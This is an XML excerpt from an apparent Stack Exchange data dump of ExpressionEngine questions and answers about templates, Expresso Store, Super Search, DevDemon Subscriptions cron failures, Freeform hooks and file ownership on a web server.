  <row Id="31877" PostTypeId="2" ParentId="31787" CreationDate="2015-06-10T17:00:50.250" Score="0" Body="&lt;p&gt;Though the URL does not display the pagination segment (e.g. P10), it is valid at the parse stage. I was checking {if &quot;{segment_2}&quot; == &quot;&quot;} and expecting it to be true, but it was actually false because the pagination segment exists when the template parses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Providing the template conditionals are written with this in mind, infinite scroll works just as well as normal pagination.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2015-06-10T17:00:50.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31878" PostTypeId="2" ParentId="31875" CreationDate="2015-06-10T17:08:16.863" Score="1" Body="&lt;p&gt;Will this work for you? You don't need to put the {slider images} tag, it doesn't do anything. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;bxslider&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;slider_test&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;        &amp;lt;li style=&quot;background-image: url('{slider_image1}{url}{/slider_image1}');&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li style=&quot;background-image: url('{slider_image2}{url}{/slider_image2}');&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {if slider_image3}&#xA;        &amp;lt;li style=&quot;background-image: url('{slider_image3}{url}{/slider_image3}');&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    {/exp:channel:entries} &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="1100" LastEditDate="2015-06-10T17:14:57.937" LastActivityDate="2015-06-10T17:14:57.937" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31879" PostTypeId="2" ParentId="27123" CreationDate="2015-06-10T18:17:42.103" Score="1" Body="&lt;p&gt;Or, if you just want to display the customers orders on the front end of the site (say in the customers account area) use Expresso-Stores &lt;code&gt;{exp:store:orders}&lt;/code&gt; tags as Justin says, but use them on a template . Full documentation of the tag pair is here : &lt;a href=&quot;https://www.exp-resso.com/docs/orders_tag.html&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/orders_tag.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-10T18:17:42.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31880" PostTypeId="1" CreationDate="2015-06-10T18:47:00.223" Score="0" ViewCount="148" Body="&lt;p&gt;Looking for a way to increase the default thumbnail size of an image uploaded via the file uploader in the CMS e.g:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FcOqD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this size, it's hard to tell what is in the image itself. Ideally, we should be able to control this thumbnail size and make it bigger so you can see the image clearly from within the entry editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't seem to find any plugins or information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would rather avoid having to hack the core.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2016-06-20T22:20:47.887" Title="Bigger File Preview Thumbnail Size" Tags="|file-uploads|image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31881" PostTypeId="1" CreationDate="2015-06-10T20:13:34.590" Score="0" ViewCount="41" Body="&lt;p&gt;EE 2.9.3&#xA;LV 2.6.0&#xA;Matrix 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has happened twice now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of low variables with Matrix fields where a file upload cell is losing the image that was uploaded. The image is not deleted from the server, just not associated with that field or cell anymore. It happens to all file cells in matrix fields in low variables but not in channel entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears to happen for no apparent reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea how to troubleshoot this and am on the latest version of both Matrix and Low Variables.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-06-10T20:13:34.590" Title="Matrix, Low Variables file upload cell randomly removing image" Tags="|matrix|file-uploads|low-variables|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31882" PostTypeId="2" ParentId="31880" CreationDate="2015-06-10T20:39:17.443" Score="0" Body="&lt;p&gt;You can't change this without hacking core, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/assets&quot; rel=&quot;nofollow&quot;&gt;Assets&lt;/a&gt; offers much nicer thumbnails then the native File field (with various size options too).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-10T20:39:17.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31883" PostTypeId="1" AcceptedAnswerId="31895" CreationDate="2015-06-10T20:42:24.957" Score="1" ViewCount="34" Body="&lt;p&gt;So I'm building an ecommerce site that sells items in the following quantities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Whole&lt;/li&gt;&#xA;&lt;li&gt;Half&lt;/li&gt;&#xA;&lt;li&gt;Quarter&lt;/li&gt;&#xA;&lt;li&gt;Eighth&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The whole option is the default. So when they input the stock quantity (e.g. 100 whole items), I want that to mean that there are 200 half items, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, if someone orders 3 halves, I want the stock to be reduced to 98 whole and 1 half of that item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this in expresso store?&lt;/p&gt;&#xA;" OwnerUserId="2916" LastActivityDate="2015-06-11T20:20:33.253" Title="Evaluating limited stock when product modifier options are fractional" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31885" PostTypeId="1" CreationDate="2015-06-10T21:15:26.123" Score="1" ViewCount="43" Body="&lt;p&gt;I need to be able to tell ExpressionEngine to display entries from multiple channels using the search:field_name parameter. The custom fields will be from different channel field groups (set to different channels). Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;channel_1|channel_2|channel_3|channel_4&quot; &#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot; &#xA;    orderby=&quot;date&quot; &#xA;    sort=&quot;desc&quot; &#xA;    limit=&quot;6&quot;  &#xA;    search:field_name_1_type=&quot;=field name&quot; &#xA;    search:field_name_2=&quot;=another field name from another channel&quot;&#xA;}&#xA;&#xA;    {!-- code --}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="6389" LastEditorUserId="22" LastEditDate="2015-06-10T21:22:31.290" LastActivityDate="2015-06-10T21:22:31.290" Title="Display channel entries using search:field_name across muitp[le channels" Tags="|channel|search|entries|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31887" PostTypeId="2" ParentId="30782" CreationDate="2015-06-10T23:05:18.143" Score="0" Body="&lt;p&gt;I don't believe it's possible to remove an image without deleting it. But you could set up categories in a custom field and make one of the categories &quot;closed&quot; and then filter out images with category=closed.&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2015-06-10T23:05:18.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31888" PostTypeId="2" ParentId="31873" CreationDate="2015-06-10T23:27:16.770" Score="1" Body="&lt;p&gt;The new version of Store as of 2.5+ Carts and Orders are now separate database tables. This allows for sequential order ids and also more control over what you can do with carts for marketing automation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now an order id is not generated until after the completion of the payment. So only cart ids are passed to the gateway. The order id will be different on its return from the gateway.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-06-10T23:27:16.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31892" PostTypeId="2" ParentId="31865" CreationDate="2015-06-11T15:08:36.757" Score="0" Body="&lt;p&gt;Do you have your email field set as Master? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vgMHS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-06-11T15:08:36.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31893" PostTypeId="1" AcceptedAnswerId="31894" CreationDate="2015-06-11T19:31:30.697" Score="0" ViewCount="379" Body="&lt;p&gt;I need to get the parent entry_id while I'm inside a relationship. This is what I have - doctors_locations is my relationship field name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{doctors_locations}&#xA;    {doctors_locations:locations_city} {!-- outputs related city --}&#xA;    {doctors_locations:parents}{entry_id}{/doctors_locations:parents} {!-- I need the entry_id of the parent in this relationship --}&#xA;{/doctors_locations}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried different iterations of this to no avail. Everything I've tried seems to cause a memory error -- assuming endless loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get the parent entry_id while inside of the relationship loop? I've managed to accomplish the same thing using Playa, but I needed to switch the doctors_locations field type to a Relationship field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.10.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Based on the info here: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#accessing-parents&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#accessing-parents&lt;/a&gt; I should be able to accomplish this. So I updated my code like this (tried it with just the title):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{doctors_locations}&#xA;    {doctors_locations:parents field=&quot;doctors_locations&quot;}&#xA;        {doctors_locations:parents:title}&#xA;    {/doctors_locations:parents}&#xA;{/doctors_locations}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal Error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 1 bytes) in ../system/codeigniter/system/database/drivers/mysql/mysql_result.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2934" LastEditorUserId="2934" LastEditDate="2015-06-11T19:46:16.263" LastActivityDate="2015-06-11T20:15:52.120" Title="How to get the parent entry ID while inside relationship loop?" Tags="|relationships|parent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31894" PostTypeId="2" ParentId="31893" CreationDate="2015-06-11T20:15:52.120" Score="1" Body="&lt;p&gt;You're entering an infinite recursive loop with your code there, hence the memory exhaustion. All you need to do is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{doctors_locations}&#xA;    Location Title: {doctors_locations:title}&#xA;    Location Entry ID: {doctors_locations:entry_id}&#xA;    Doctor Title: {title}&#xA;    Doctor Entry ID: {entry_id}&#xA;{/doctors_locations}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would only further use &lt;code&gt;{doctors_locations:parents}&lt;/code&gt; if you wanted to fetch parents from a &lt;em&gt;different&lt;/em&gt; channel/field than the parent channel you're already in via &lt;code&gt;channel:entries&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-11T20:15:52.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31895" PostTypeId="2" ParentId="31883" CreationDate="2015-06-11T20:20:33.253" Score="2" Body="&lt;p&gt;You'd have to make the quantity represented as the smallest available fraction (e.g., 1/8), and make your quantity selector on the front-end reflect that. So if you had 100 whole items in inventory, you'd enter 800, then make a selection of &quot;1&quot; equal &quot;8&quot; on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not ideal, but the only way I can see to do this with Store's inventory system.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-11T20:20:33.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31896" PostTypeId="1" CreationDate="2015-06-11T21:54:47.277" Score="1" ViewCount="79" Body="&lt;p&gt;According to the documentation here: &lt;a href=&quot;https://solspace.com/docs/super_search/search_syntax/#custom_fields&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/super_search/search_syntax/#custom_fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should be able to pass values from multiple custom fields into my search query. For example, I want to pass the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;doctors_services-exact=Surgery&amp;amp;doctors_locations-exact=My%20Medical%Center&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These custom fields are relationship fields, where I'm trying to filter on the exact title of each relationship. So, I have a service named &quot;Surgery&quot; and a location named &quot;My Medical Center&quot;. Trying each one of these individually works - I get the expected results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these queries work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;doctors_services-exact=Surgery&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;doctors_locations-exact=My%20Medical%Center&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in combination, it does not work. Any help on this would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using SuperSearch 2.2.3 and EE 2.10.1. I'm trying to pass two values in the search string - these are the only two search criteria I'm passing - there are no keywords or any other parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This search string is intended to find all doctors with a relationship to a &quot;Generic Hospital Name&quot;. It works correctly - the search results show only doctors with a relationship to &quot;Generic Hospital Name&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search&amp;amp;channel=doctors&amp;amp;doctors_locations-exact=Generic%Hospital%Name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This search string is intended to find all doctors with a relationship to &quot;Primary Care&quot;. It works correctly - the search results show only doctors with a relationship to &quot;Primary Care&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search&amp;amp;channel=doctors&amp;amp;doctors_services-exact=Primary%20Care&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to combine these in the event that someone needs to find a doctor specializing in &quot;Primary Care&quot; at &quot;Generic Hospital Name&quot;. So, this is my search string for that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search&amp;amp;channel=doctors&amp;amp;doctors_services-exact=Primary%20Care&amp;amp;doctors_locations-exact=Generic%20Hospital%20Name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not work. I get ALL doctors who work at &quot;Generic Hospital Name&quot;, however, they are NOT ALL &quot;Primary Care&quot; doctors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove exact on doctors_services like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search&amp;amp;channel=doctors&amp;amp;doctors_services=Primary%20Care&amp;amp;doctors_locations-exact=Generic%20Hospital%20Name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The results for this returns a mixed bag of doctors. The -exact on doctors_locations doesn't limit the doctors from &quot;Generic Hospital Name&quot; nor does it return accurate results for doctors_services. I'd expect to see doctors with services that include the words &quot;Primary&quot; or &quot;Care&quot;, but the first doctor in the list specializes in &quot;Lung Transplants&quot; and &quot;Abdominal Surgery&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove -exact from doctors_locations like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search&amp;amp;channel=doctors&amp;amp;doctors_services-exact=Primary%20Care&amp;amp;doctors_locations=Generic%20Hospital%20Name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also get a mixed bag of the results that does not seem to obey either doctors_services or doctors_locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing exact from both doctors_services and doctors_locations does not produce a comprehensible list of search results either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I can pass -exact on doctors_locations OR doctors_services just as long as they do not exist in the same query. doctors_locations-exact works by itself, doctors_services-exact works by itself, but not together.&lt;/p&gt;&#xA;" OwnerUserId="2934" LastEditorUserId="2934" LastEditDate="2015-06-12T15:33:42.803" LastActivityDate="2015-06-12T15:33:42.803" Title="Values on Multiple custom fields in Solspace Super Search" Tags="|solspace|supersearch|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31898" PostTypeId="1" CreationDate="2015-06-11T23:34:27.077" Score="1" ViewCount="47" Body="&lt;p&gt;Subscriptions has been working fine for several weeks, but all of a sudden, a bunch of my subscriptions slipped into &quot;Past Due&quot; status. I tried to manually enter the module action URL in my browser (they have it programmed to display a status of what happens as it attempts to renew any past due subscriptions), but after outputting a few rows it reloads, this time using the EE Error template (user message template), and refuses to continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;error&quot; was something about a missing {/if} or errant } or something. This didn't make any sense because the action url shouldn't invoke the template parsing engine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could something in the Subscriptions update process trigger an error in the template parsing engine?&lt;/p&gt;&#xA;" OwnerUserId="2326" LastActivityDate="2015-06-11T23:34:27.077" Title="DevDevmon Subscriptions CRON URL Triggering Error Page" Tags="|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31899" PostTypeId="2" ParentId="31898" CreationDate="2015-06-11T23:34:27.077" Score="2" Body="&lt;p&gt;Believe it or not, this was caused by an error in one of my email templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a subscription attempts to renew, it fires a trigger based on what the result of that renewal is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a &quot;send email&quot; action linked to that trigger, the template parsing engine will attempt to parse the email template in order to fulfill action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the email template has an error in it (as mine did), this will cause an unholy crossing of the Subscription CRON url page and the EE error template. &lt;/p&gt;&#xA;" OwnerUserId="2326" LastActivityDate="2015-06-11T23:34:27.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31900" PostTypeId="1" CreationDate="2015-06-11T23:36:05.553" Score="0" ViewCount="33" Body="&lt;p&gt;How do you sort product entries in a numeric order in the Categories field of Settings?  I have rearranged the order, saved and the new order does not appear on the site?&#xA;Sorry, I am the end user. I have been left to myself for support by BR. They longer offer support of any kind. Just this forum. I am happy to pay for support, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to sort the list of products we offer on our website manually....according to our customers use of the products....mattresses, beds, pillows, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sorting order is defaulting to Pricing in a descending order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to manually change the list order by number under Store, Settings, Categories, Products, edit....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A list of all our products appears with a column that has Sort numbers in it. I can change the numbers, save the list and the new order does NOT appear on the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhere it is set to order by Price. I want to find that and override it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jerrie Noyes www.floatingbed.com&lt;/p&gt;&#xA;" OwnerUserId="6392" LastEditorUserId="-1" LastEditDate="2015-06-13T19:59:23.253" LastActivityDate="2015-06-13T19:59:23.253" Title="How to sort product order?" Tags="|ee2|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31901" PostTypeId="1" CreationDate="2015-06-11T23:47:45.653" Score="0" ViewCount="71" Body="&lt;p&gt;When my first group of subscribers came up for renewal, all of them slipped into Past Due status. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Nothing was in the Subscription event log to indicate anything had happened.&lt;/li&gt;&#xA;&lt;li&gt;Stripe had no record of attempted payments.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On the advice of DevDemon I manually backdated the &quot;next retry&quot; date on one of the subscriptions (in the database), then manually visited the Subscriptions CRON url in my browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process ran, and behold, the renewal process worked. So I repeated this process for all the other past_due subscriptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the next day, more of them had failed to renew. So I started the process over again. And once again, when I triggered the update via the web, it worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would CRON based updates fail, but when I trigger it via the web, everything works?&lt;/p&gt;&#xA;" OwnerUserId="2326" LastActivityDate="2016-06-05T17:57:13.217" Title="DevDemon Subscriptions Not Renewing Automatically - All are &quot;Skipped&quot;" Tags="|devdemon|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31902" PostTypeId="2" ParentId="31901" CreationDate="2015-06-11T23:47:45.653" Score="0" Body="&lt;p&gt;FIX: I had both: 127.0.0.1 and 192.168.* IPs in the &quot;Test IPs&quot; field. (I think this was the default setting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the update process was run (triggered by a CRON job), Automat:ee would call the Subscriptions action URL, but the IP was obviously the local machine IP, 127.0.0.1 and the entire update process would be treated as a test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That explains why manually triggering it in the browser worked. I removed those IPs from the list and it worked after that.&lt;/p&gt;&#xA;" OwnerUserId="2326" LastActivityDate="2015-06-11T23:47:45.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31903" PostTypeId="2" ParentId="31803" CreationDate="2015-06-12T00:07:59.943" Score="1" Body="&lt;p&gt;This might be a file/directory ownership issue. Depending on what kind of host/server you're on, the system &quot;root&quot; user might actually be the owner of all the files in web root. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a lot of stuff this is fine, but occasionally, EE will choke on something unless it's owned by the web user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, by 'web user' I'm not referring to the 'person uploading the document to your site'. The 'web user' is basically the account that runs web stuff like ExpressionEngine. When your 'website user' is using your website, EE is running under the 'web user' account on the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the files that EE needs to access are owned by &quot;root&quot;, then PHP processes (which runs as the web user) cannot do certain things, even if the files have 777 permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to use the chown command to change the owner on any files in web root, and any files above webroot that EE needs to access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DO NOT DO THIS, THIS IS AN EXAMPLE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Ubuntu, the web user is &lt;strong&gt;www-data&lt;/strong&gt;. When I need to change the owner of a directory on my server, I cd to the correct directory and type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -R www-data:www-data ./*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This tells the server to change the owner of everything in this directory to the web user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once again, do not type that verbatim, you need to replace &lt;strong&gt;www-data&lt;/strong&gt; with the name of the web user for your server.&lt;/p&gt;&#xA;" OwnerUserId="2326" LastActivityDate="2015-06-12T00:07:59.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31904" PostTypeId="2" ParentId="31495" CreationDate="2015-06-12T00:15:06.603" Score="0" Body="&lt;p&gt;FYI - there is actually a way to have auto-renew disabled at the time of signup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can put an input in your form like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;auto_renew&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;yes&quot;&amp;gt;Please Auto-Renew Annually&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;no&quot;&amp;gt;Do Not Auto-Renew&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;auto_renew&lt;/strong&gt; option is not documented, but it will create the subscription and have it marked to not auto renew after the first payment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I stumbled onto this because I realized that some people wanted to pay their subscription manually every month, but without knowing the &lt;strong&gt;auto_renew&lt;/strong&gt; option, every time they'd &quot;renew&quot; it, auto renewal would be turned back on, so they'd have to &quot;Cancel&quot; each time.&lt;/p&gt;&#xA;" OwnerUserId="2326" LastActivityDate="2015-06-12T00:15:06.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31905" PostTypeId="1" AcceptedAnswerId="31911" CreationDate="2015-06-12T00:15:37.883" Score="0" ViewCount="52" Body="&lt;p&gt;I have created an extension which uses the entry_submission_ready hook.&#xA;It is doing some calculations which I want to add to a field in the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add the output of the calculations to the field when saving an entry?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-06-12T13:19:26.533" Title="Update field content with extension when saving or editing an entry" Tags="|add-on-development|extension|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31906" PostTypeId="1" CreationDate="2015-06-12T06:39:58.053" Score="0" ViewCount="161" Body="&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/freeform/extension_hooks/#freeform_module_insert_end&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/freeform/extension_hooks/#freeform_module_insert_end&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the &lt;code&gt;freeform_module_insert_begin&lt;/code&gt; hook which stores the data into the database but with the &lt;code&gt;freeform_module_insert_end&lt;/code&gt; hook I am unable to get the data which I posted in the &lt;code&gt;freeform_module_insert_begin&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function email_this($field_input_data, $entry_id, $form_id){&#xA;if (ee()-&amp;gt;extensions-&amp;gt;active_hook('freeform_module_insert_end') === TRUE)&#xA;{&#xA;    ee()-&amp;gt;extensions-&amp;gt;universal_call(&#xA;    'freeform_module_insert_end',&#xA;    $field_input_data,&#xA;    $entry_id,&#xA;    $form_id,&#xA;    $this&#xA;    );&#xA;} else {&#xA;    //else&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6374" LastEditorUserId="6374" LastEditDate="2015-06-12T06:47:38.760" LastActivityDate="2015-09-10T18:16:01.780" Title="With freeform_module_insert_end hook how to get the posted data" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31908" PostTypeId="1" AcceptedAnswerId="31910" CreationDate="2015-06-12T09:52:35.417" Score="0" ViewCount="55" Body="&lt;p&gt;This module is exactly what I need. But it's not possible to download/buy it from the devot-ee (&lt;a href=&quot;https://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/profileedit&lt;/a&gt;) website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know if it is still available?&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2015-06-12T13:15:39.317" Title="Is the &quot;Profile:Edit&quot; module still available?" Tags="|profile-edit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31909" PostTypeId="2" ParentId="31751" CreationDate="2015-06-12T11:44:58.083" Score="1" Body="&lt;p&gt;I can confirm that the screen_name override is a temporary hash at the point where the admin email notification is being sent. This is caused by member_id in the User code. I'll report this, but unfortunately we don't have an ETA for possible fixing/implementation. The workaround for now would be to not use member_id in the screen_name override, or use something other than the screen_name in the admin notification.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-06-12T11:44:58.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31910" PostTypeId="2" ParentId="31908" CreationDate="2015-06-12T13:15:39.317" Score="1" Body="&lt;p&gt;No, it is not - Mighty Big Robot is not developing, selling, or supporting any of their add-ons anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe have a look at &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-12T13:15:39.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
